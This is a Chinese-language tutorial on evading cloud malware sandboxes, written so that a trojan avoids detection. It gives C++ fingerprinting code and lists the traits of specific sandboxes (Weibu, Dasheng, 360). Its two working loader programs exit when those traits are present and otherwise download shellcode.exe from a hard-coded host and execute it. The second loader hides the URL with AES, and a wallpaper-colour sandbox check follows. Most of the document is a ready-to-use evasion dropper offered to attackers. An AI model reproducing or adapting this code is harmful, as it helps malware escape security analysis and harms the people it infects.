反沙盒？这篇文章足以

0.序言

Q1：什么是反沙盒？

反沙盒是指通过技术手段判断当前程序是否运行在沙盒环境中，并尝试规避或突破沙盒的限制。这种技术常被用于恶意软件或高级渗透测试工具中，以逃避检测或增加隐蔽性。说人话就是让通过检测特征让云沙盒不能分析你的马，达到长久免杀的效果

Q2：那我直接喜闻乐见sleep不就行了？

反沙盒的方法是与时俱进的，不会存在一招鲜吃遍天的存在，需要我们不断发掘云沙箱独有的特征并且对其检测反制，这就是本文核心。

小结：本文将以常见的几种沙盒特征为例子，简要阐明一种找沙盒特征的方法

1.环境

Visual Studio 2022 + AI

2.原理

在完成我们反沙盒脚本前，我们先要了解下云沙盒查杀原理

我们来听听AI是如何解释的：云沙箱（Cloud Sandbox）是一种基于云计算技术的安全检测和威胁分析工具，常用于检测恶意软件和分析威胁行为。它的查杀原理可以分为以下几个方面：

动态行为分析

云沙箱会在隔离的虚拟化环境中运行可疑文件或程序，监控其行为。通过分析文件的动态行为来判断是否存在恶意行为，例如：
文件访问（如修改系统文件、创建可疑文件）。
注册表修改（如修改启动项、添加后门）。
网络行为（如与恶意服务器通信、发送数据包）。
内存操作（如注入恶意代码到其他进程）。
调用系统API（如调用危险的系统功能）。
通过这些行为模式的分析，判断文件是否具有恶意特征。

静态分析辅助

在动态分析之前，云沙箱通常会对文件进行静态分析，包括：
检查文件结构和特征（如文件头信息、代码签名）。
提取特征码（如哈希值、YARA规则匹配）。
静态逆向工程，分析文件中隐藏的恶意代码片段。
静态分析主要用来快速筛选已知威胁，动态分析则处理复杂威胁。

环境仿真

云沙箱通过高度仿真的虚拟化技术模拟真实操作系统和用户环境，以诱导恶意软件执行。仿真环境包括：
模拟常见的操作系统（如Windows、Linux等）。
模拟常用软件和服务（如Office、浏览器、邮件客户端）。
模拟用户行为（如键盘输入、鼠标操作）。
这种仿真能够最大限度地触发恶意软件的行为，并避免其检测到沙箱环境。

行为特征匹配

云沙箱会将捕获到的行为数据与恶意行为特征库进行匹配，包括：
系统调用序列匹配。
网络通信特征分析（如C2通信特征、加密流量检测）。
文件行为模式匹配。
如果某些行为或模式与已知恶意行为相符，则标记为恶意。

威胁智能协作

云沙箱常与威胁情报数据库联动。运行期间，云沙箱会：
查询文件哈希值是否已知恶意。
调用威胁情报API（如病毒样本数据库、域名/IP黑名单）。
动态更新恶意特征规则，识别新兴威胁。
这种协作可以大幅提升未知威胁的检测效率。

防逃避机制

高级恶意软件可能通过检测虚拟化或沙箱环境来逃避检测，例如：
检测虚拟机的特征（如VMware工具、硬件ID）。
检测沙箱网络（如缺少真实流量）。
延迟执行（如等待长时间后才触发恶意行为）。
云沙箱通过改进仿真技术、混淆环境特征和延长观察时间等手段，绕过这些逃避技术。

生成报告

在检测完成后，云沙箱会生成详细报告，包括：
文件行为日志（如访问的系统资源、调用的API）。
威胁等级评估（如高危、中危、低危）。
恶意行为摘要（如潜在危害、感染方式）。
这些报告帮助安全人员快速理解威胁并采取应对措施。

说人话就是一个带有高强度分析功能的虚拟机，我们要去想办法找到这些虚拟机和正常主机之间的区别，然后进行判定屏蔽。

3.获得特征

浏览网上的文章，我发现了有师傅利用发送数据到服务器来接受检测脚本搜索到的内容，这种方法有弊端，有些沙箱阻断传输，这就不行。那么我们换个思路，利用沙箱中运行截图这一功能来获取特征：

4.编写获取特征代码(语言：C++ 环境：VS2022 V132)

注：本文以微步云沙箱为例进行演示:

(1)总体：

从行为，系统两方面入手

(2)行为角度：

文件操作行为
文件读写：监控程序是否创建、读取、修改或删除文件。
文件路径：捕捉操作的文件路径，判断是否涉及关键系统文件或敏感目录（如C:\Windows、启动目录等）。
文件扩散：检测程序是否复制自身到其他位置（如U盘或共享目录），进行感染传播。
隐藏文件：分析是否生成隐藏文件或通过特殊手段规避用户发现。
注册表操作行为（Windows系统）
注册表修改：捕捉对系统关键注册表项的创建、修改或删除操作（如启动项、服务配置）。
启动项植入：检测程序是否尝试在注册表中设置自启动项，以便在系统重启时自动运行。
恶意配置更改：判断是否修改与安全、网络等相关的注册表项（如禁用任务管理器或防火墙）。
网络通信行为
网络连接：分析程序是否尝试与外部服务器建立连接（HTTP、HTTPS、DNS、TCP/IP等）。
可疑域名/IP地址：检测是否与恶意域名或IP进行通信（如C2服务器）。
流量特征：记录网络数据包内容，判断是否包含敏感数据泄露（如密码、用户信息）。
下载/上传：检测是否通过网络下载或上传恶意文件、恶意负载。
系统调用和进程行为
系统API调用：捕获程序使用的系统API，分析是否涉及危险调用（如内存注入、DLL劫持）。
新进程创建：监控程序是否启动其他进程，尤其是尝试运行系统工具（如cmd.exe、powershell.exe）。
进程注入：检测程序是否尝试将代码注入到其他合法进程中运行，以隐藏恶意活动。
沙箱逃逸尝试：判断是否尝试关闭沙箱、检测虚拟化环境或规避安全工具。
权限操作行为
权限提升：分析程序是否尝试以管理员权限运行或提升权限（如UAC绕过）。
操作系统安全机制绕过：检测是否修改系统安全设置，如关闭杀毒软件或防火墙。
服务操作：分析程序是否尝试启动、停止或修改系统服务。
内存行为
恶意代码加载：检测是否在内存中动态加载恶意代码。
无文件攻击：监控是否存在“无文件恶意软件”，仅在内存中执行而不写入磁盘。
加密/混淆行为：判断是否使用加密算法隐藏恶意数据，规避检测。
用户行为模拟
键盘记录：检测程序是否尝试记录用户键盘输入（键盘记录器行为）。
屏幕捕获：分析是否尝试捕获屏幕截图，窃取敏感信息。
鼠标动作：判断是否模拟鼠标点击等行为以假装为用户操作。
恶意负载投放
后续恶意程序运行：检测是否释放新的恶意程序（如恶意DLL、EXE文件）。
多阶段攻击链：捕获是否存在分阶段攻击行为，如先下载第一阶段程序，再下载和执行第二阶段恶意负载。
勒索行为：判断是否加密用户文件并投放勒索说明文件。
环境检测行为
沙箱/虚拟化检测：捕获程序是否尝试检测运行环境为虚拟机或沙箱（如检查硬件ID、进程名称）。
时间延迟：判断是否尝试通过延迟运行（Sleep函数）来绕过沙箱检测。
调试工具检测：分析程序是否检测调试工具（如调试器、分析工具）。

(3)环境角度(本文核心)

1. 获取进程列表
使用Windows API，可以通过EnumProcesses函数获取所有进程的 PID，并查询其名称。代码如下：

#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
#include <string>

void GetProcessList() {
    HANDLE hProcessSnap;
    PROCESSENTRY32 pe32;

    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProcessSnap == INVALID_HANDLE_VALUE) {
        std::cerr << "Failed to create snapshot of processes!" << std::endl;
        return;
    }

    pe32.dwSize = sizeof(PROCESSENTRY32);

    if (Process32First(hProcessSnap, &pe32)) {
        do {
            std::wcout << L"Process Name: " << pe32.szExeFile << L" | PID: " << pe32.th32ProcessID << std::endl;
        } while (Process32Next(hProcessSnap, &pe32));
    }

    CloseHandle(hProcessSnap);
}

2.获取临时文件夹中的文件和文件夹个数，使用filesystem库。代码如下

#include <iostream>
#include <filesystem>
namespace fs = std::filesystem;

void CountTempFiles() {
    std::string tempPath = getenv("TEMP");
    int fileCount = 0, dirCount = 0;

    for (const auto& entry : fs::directory_iterator(tempPath)) {
        if (fs::is_regular_file(entry)) {
            fileCount++;
        } else if (fs::is_directory(entry)) {
            dirCount++;
        }
    }

    std::cout << "Temporary Folder: " << tempPath << std::endl;
    std::cout << "Files: " << fileCount << ", Folders: " << dirCount << std::endl;
}

3.获取CPU使用率，使用GetSystemTimes的API。代码如下

#include <windows.h>
#include <iostream>

void GetCPUUsage() {
    FILETIME idleTime, kernelTime, userTime;
    if (GetSystemTimes(&idleTime, &kernelTime, &userTime)) {
        ULARGE_INTEGER idle, kernel, user;
        idle.LowPart = idleTime.dwLowDateTime;
        idle.HighPart = idleTime.dwHighDateTime;

        kernel.LowPart = kernelTime.dwLowDateTime;
        kernel.HighPart = kernelTime.dwHighDateTime;

        user.LowPart = userTime.dwLowDateTime;
        user.HighPart = userTime.dwHighDateTime;

        ULONGLONG total = (kernel.QuadPart + user.QuadPart);
        ULONGLONG idleTotal = idle.QuadPart;

        std::cout << "CPU Usage: " << 100 - (idleTotal * 100 / total) << "%" << std::endl;
    } else {
        std::cerr << "Failed to get CPU usage!" << std::endl;
    }
}

4.获取内存信息使用GlobalMemoryStatusEx相关的API，代码如下：

#include <windows.h>
#include <iostream>

void GetMemoryInfo() {
    MEMORYSTATUSEX memInfo;
    memInfo.dwLength = sizeof(MEMORYSTATUSEX);

    if (GlobalMemoryStatusEx(&memInfo)) {
        std::cout << "Total Physical Memory: " << memInfo.ullTotalPhys / (1024 * 1024) << " MB" << std::endl;
        std::cout << "Available Physical Memory: " << memInfo.ullAvailPhys / (1024 * 1024) << " MB" << std::endl;
    } else {
        std::cerr << "Failed to get memory information!" << std::endl;
    }
}

5.获取磁盘空间，用GetDiskFreeSpaceEx，代码

#include <windows.h>
#include <iostream>

void GetDiskSpace(const std::string& drive) {
    ULARGE_INTEGER freeBytesAvailable, totalBytes, totalFreeBytes;

    if (GetDiskFreeSpaceEx(drive.c_str(), &freeBytesAvailable, &totalBytes, &totalFreeBytes)) {
        std::cout << "Drive: " << drive << std::endl;
        std::cout << "Total Space: " << totalBytes.QuadPart / (1024 * 1024 * 1024) << " GB" << std::endl;
        std::cout << "Free Space: " << totalFreeBytes.QuadPart / (1024 * 1024 * 1024) << " GB" << std::endl;
    } else {
        std::cerr << "Failed to get disk space for drive: " << drive << std::endl;
    }
}

6.获取系统启动时间，用GetTickCount64，代码如下：

#include <windows.h>
#include <iostream>

void GetSystemUptime() {
    ULONGLONG uptime = GetTickCount64() / 1000; // milliseconds to seconds
    std::cout << "System Uptime: " << uptime / 3600 << " hours, " << (uptime % 3600) / 60 << " minutes." << std::endl;
}

还有其他等等，在此综合下：

1.微步云：

同时存在浏览器
    EDGE 
    FIERFOX 
    GOOGLE
    3个浏览器
   只有C盘，使用了380-390多G
   476.95GB大小

2.大圣：

系统版本XP很低，文件很少

3.360：

有微软全套，桌面文件大多数英文
有C D 盘，使用了不到20GB

可行方案1：

#include "stdafx.h"
#include <windows.h>
#include <string>
#include <ShlObj.h>
#include <wininet.h> // 添加WinINet库用于网络连接

bool IsDriveExist(const std::wstring& drive);
int CountFilesOnDesktop();
bool HasFileOnDesktop(const std::wstring& fileName);
std::wstring GetDesktopFolder();
bool DownloadShellcode(const std::wstring& url, const std::wstring& path);

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    // 检查特定条件是否满足
    if (IsDriveExist(L"C:") && !IsDriveExist(L"D:") && CountFilesOnDesktop() < 6) {
        return 0;
    }

    if (CountFilesOnDesktop() == 3 && HasFileOnDesktop(L"世界之窗.lnk")) {
        return 0;
    }

    if (HasFileOnDesktop(L"Microsoft Word 2010.lnk")) {
        return 0;
    }

    // 如果没有条件满足，下载并打开shellcode.exe
    std::wstring url = L"http://192.168.1.108/shellcode.exe";
    std::wstring path = GetDesktopFolder() + L"\\shellcode.exe";
    if (DownloadShellcode(url, path)) {
        ShellExecuteW(NULL, L"open", path.c_str(), NULL, NULL, SW_SHOWNORMAL);
    }

    return 0;
}

bool IsDriveExist(const std::wstring& drive) {
    UINT driveType = GetDriveTypeW(drive.c_str());
    return (driveType != DRIVE_NO_ROOT_DIR);
}

int CountFilesOnDesktop() {
    int count = 0;
    WIN32_FIND_DATAW findData;
    HANDLE findHandle = FindFirstFileW((GetDesktopFolder() + L"\\*").c_str(), &findData);
    if (findHandle != INVALID_HANDLE_VALUE) {
        do {
            if (!(findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {
                count++;
            }
        } while (FindNextFileW(findHandle, &findData));
        FindClose(findHandle);
    }
    return count;
}

bool HasFileOnDesktop(const std::wstring& fileName) {
    WIN32_FIND_DATAW findData;
    HANDLE findHandle = FindFirstFileW((GetDesktopFolder() + L"\\" + fileName).c_str(), &findData);
    if (findHandle != INVALID_HANDLE_VALUE) {
        FindClose(findHandle);
        return true;
    }
    return false;
}

std::wstring GetDesktopFolder() {
    wchar_t path[MAX_PATH];
    if (SUCCEEDED(SHGetFolderPathW(NULL, CSIDL_DESKTOPDIRECTORY, NULL, 0, path))) {
        return std::wstring(path);
    }
    return L"";
}

bool DownloadShellcode(const std::wstring& url, const std::wstring& path) {
    HINTERNET hInternet = InternetOpenW(L"WinINet", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    HINTERNET hFile = InternetOpenUrlW(hInternet, url.c_str(), NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_DONT_CACHE, 0);
    if (hFile) {
        DWORD dwBytes;
        BYTE buffer[4096];
        HANDLE hLocalFile = CreateFileW(path.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hLocalFile != INVALID_HANDLE_VALUE) {
            do {
                if (InternetReadFile(hFile, buffer, sizeof(buffer), &dwBytes) && dwBytes != 0) {
                    DWORD dwWritten;
                    WriteFile(hLocalFile, buffer, dwBytes, &dwWritten, NULL);
                }
            } while (dwBytes != 0);
            CloseHandle(hLocalFile);
            InternetCloseHandle(hFile);
            InternetCloseHandle(hInternet);
            return true;
        }
    }
    InternetCloseHandle(hInternet);
    return false;
}

可行方案2：

#include "stdafx.h"
#include <windows.h>
#include <Wincrypt.h>
#include <string>
#include <ShlObj.h>
#include <wininet.h>

#pragma comment (lib, "Crypt32.lib")
#pragma comment (lib, "Advapi32.lib")

bool IsDriveExist(const std::wstring& drive);
int CountFilesOnDesktop();
bool HasFileOnDesktop(const std::wstring& fileName);
std::wstring GetDesktopFolder();
bool DownloadShellcode(const std::wstring& encryptedUrl, const std::wstring& path);
std::wstring EncryptDecryptUrl(const std::wstring& url, bool encrypt);

std::wstring EncryptDecryptUrl(const std::wstring& url, bool encrypt) {
    HCRYPTPROV hProv = NULL;
    HCRYPTKEY hKey = NULL;
    HCRYPTHASH hHash = NULL;
    DWORD dwMode = CRYPT_MODE_CBC;
    std::wstring result;
    BYTE iv[16] = {}; // Initialization vector

    // Acquire a cryptographic provider context handle.
    if (!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
        return L"";
    }

    // Create a hash object.
    if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
        CryptReleaseContext(hProv, 0);
        return L"";
    }

    // Hash the password.
    if (!CryptHashData(hHash, (BYTE*)"password", 8, 0)) {
        CryptDestroyHash(hHash);
        CryptReleaseContext(hProv, 0);
        return L"";
    }

    // Derive an AES key from the hash object.
    if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, CRYPT_EXPORTABLE | (256 << 16), &hKey)) {
        CryptDestroyHash(hHash);
        CryptReleaseContext(hProv, 0);
        return L"";
    }

    // Set the cipher mode.
    CryptSetKeyParam(hKey, KP_MODE, (BYTE*)&dwMode, 0);
    CryptSetKeyParam(hKey, KP_IV, iv, 0);

    DWORD dwDataLen = url.length() * sizeof(wchar_t);
    DWORD dwBufLen = dwDataLen + 16;  // Buffer may need to be padded.
    BYTE* pbBuffer = new BYTE[dwBufLen];

    memcpy(pbBuffer, url.c_str(), dwDataLen);

    if (encrypt) {
        if (!CryptEncrypt(hKey, NULL, TRUE, 0, pbBuffer, &dwDataLen, dwBufLen)) {
            delete[] pbBuffer;
            CryptDestroyKey(hKey);
            CryptDestroyHash(hHash);
            CryptReleaseContext(hProv, 0);
            return L"";
        }
    } else {
        if (!CryptDecrypt(hKey, NULL, TRUE, 0, pbBuffer, &dwDataLen)) {
            delete[] pbBuffer;
            CryptDestroyKey(hKey);
            CryptDestroyHash(hHash);
            CryptReleaseContext(hProv, 0);
            return L"";
        }
    }

    result.assign((wchar_t*)pbBuffer, dwDataLen / sizeof(wchar_t));
    delete[] pbBuffer;
    CryptDestroyKey(hKey);
    CryptDestroyHash(hHash);
    CryptReleaseContext(hProv, 0);

    return result;
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    std::wstring url = L"http://192.168.1.108/shellcode.exe";
    std::wstring encryptedUrl = EncryptDecryptUrl(url, true); // Encrypt URL

    // 检查特定条件是否满足
    if (IsDriveExist(L"C:") && !IsDriveExist(L"D:") && CountFilesOnDesktop() < 6) {
        return 0;
    }

    if (CountFilesOnDesktop() == 3 && HasFileOnDesktop(L"世界之窗.lnk")) {
        return 0;
    }

    if (HasFileOnDesktop(L"Microsoft Word 2010.lnk")) {
        return 0;
    }

    // 如果没有条件满足，下载并打开shellcode.exe
    std::wstring path = GetDesktopFolder() + L"\\shellcode.exe";
    if (DownloadShellcode(encryptedUrl, path)) {
        ShellExecuteW(NULL, L"open", path.c_str(), NULL, NULL, SW_SHOWNORMAL);
    }

    return 0;
}

bool IsDriveExist(const std::wstring& drive) {
    UINT driveType = GetDriveTypeW(drive.c_str());
    return (driveType != DRIVE_NO_ROOT_DIR);
}

int CountFilesOnDesktop() {
    int count = 0;
    WIN32_FIND_DATAW findData;
    HANDLE findHandle = FindFirstFileW((GetDesktopFolder() + L"\\*").c_str(), &findData);
    if (findHandle != INVALID_HANDLE_VALUE) {
        do {
            if (!(findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {
                count++;
            }
        } while (FindNextFileW(findHandle, &findData));
        FindClose(findHandle);
    }
    return count;
}

bool HasFileOnDesktop(const std::wstring& fileName) {
    WIN32_FIND_DATAW findData;
    HANDLE findHandle = FindFirstFileW((GetDesktopFolder() + L"\\" + fileName).c_str(), &findData);
    if (findHandle != INVALID_HANDLE_VALUE) {
        FindClose(findHandle);
        return true;
    }
    return false;
}

std::wstring GetDesktopFolder() {
    wchar_t path[MAX_PATH];
    if (SUCCEEDED(SHGetFolderPathW(NULL, CSIDL_DESKTOPDIRECTORY, NULL, 0, path))) {
        return std::wstring(path);
    }
    return L"";
}

bool DownloadShellcode(const std::wstring& encryptedUrl, const std::wstring& path) {
    std::wstring url = EncryptDecryptUrl(encryptedUrl, false); // Decrypt URL

    HINTERNET hInternet = InternetOpenW(L"WinINet", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    HINTERNET hFile = InternetOpenUrlW(hInternet, url.c_str(), NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_DONT_CACHE, 0);
    if (hFile) {
        DWORD dwBytes;
        BYTE buffer[4096];
        HANDLE hLocalFile = CreateFileW(path.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hLocalFile != INVALID_HANDLE_VALUE) {
            do {
                if (InternetReadFile(hFile, buffer, sizeof(buffer), &dwBytes) && dwBytes != 0) {
                    DWORD dwWritten;
                    WriteFile(hLocalFile, buffer, dwBytes, &dwWritten, NULL);
                }
            } while (dwBytes != 0);
            CloseHandle(hLocalFile);
            InternetCloseHandle(hFile);
            InternetCloseHandle(hInternet);
            return true;
        }
    }
    InternetCloseHandle(hInternet);
    return false;
}

仅做实例用途，师傅们可以再从其他角度如

屏幕亮度，

桌面壁纸（openCV），

鼠标灵敏度，

启动次数，

默认浏览器等方面入手检查，

检查运行环境是否符合真实机器的特性：

硬件资源检测：

检查CPU核心数是否过少（如仅1或2个核心）。

检查内存容量是否过小（如低于2GB）。

检查硬盘容量是否过低（如仅几GB）。

特殊硬件：检查是否存在真实硬件（如网卡、摄像头等）。

检测虚拟化特征：

检查设备名称是否包含“VirtualBox”、“VMware”等虚拟化标识。

检查特定的MAC地址前缀（虚拟化工具通常使用固定的前缀）。

检查BIOS信息是否包含虚拟化相关字段。

检查系统时钟，沙盒可能会通过修改时间加速或减速，以监控恶意行为。

检测是否有调试器附加：
使用Windows API如IsDebuggerPresent或检查异常处理函数。

检查网络适配器信息：
如是否为虚拟化网络适配器。

检测网络延迟：
通过持续发送ping包检测网络延迟是否异常（主要查代理）
检查DNS行为：
沙盒的DNS解析通常较快且模式固定，可以基于DNS流量检测是否为沙盒。
检测断点：
搜索内存中的硬件断点或软件断点标志。
时间戳检测：
使用高精度计时器（如RDTSC指令）判断代码执行速度，调试器会拖慢运行。

其中最推荐桌面壁纸检测，代码如下（微步云的）：

#include <opencv2/opencv.hpp>
#include <iostream>

using namespace cv;
using namespace std;

bool isMostlyBlue(const Mat& image, double blueThreshold = 0.5) {
    // 检查图像是否为空
    if (image.empty()) {
        cerr << "Image is empty!" << endl;
        return false;
    }

    // 转换为HSV颜色空间
    Mat hsvImage;
    cvtColor(image, hsvImage, COLOR_BGR2HSV);

    // 定义蓝色的HSV范围
    Scalar lowerBlue(100, 50, 50);  // 蓝色的下限 (Hue, Saturation, Value)
    Scalar upperBlue(140, 255, 255); // 蓝色的上限

    // 创建掩码，仅保留蓝色像素
    Mat blueMask;
    inRange(hsvImage, lowerBlue, upperBlue, blueMask);

    // 计算蓝色像素的比例
    double bluePixels = countNonZero(blueMask);
    double totalPixels = image.rows * image.cols;
    double blueRatio = bluePixels / totalPixels;

    // 输出蓝色比例
    cout << "Blue pixel ratio: " << blueRatio << endl;

    // 判断蓝色像素比例是否超过阈值
    return blueRatio > blueThreshold;
}

int main() {
    // 读取壁纸图像
    string imagePath = "wallpaper.jpg"; // 替换为壁纸路径
    Mat image = imread(imagePath);

    // 检查图像是否大多为蓝色
    if (isMostlyBlue(image)) {
        cout << "The wallpaper is mostly blue." << endl;
    } else {
        cout << "The wallpaper is not mostly blue." << endl;
    }

    return 0;
}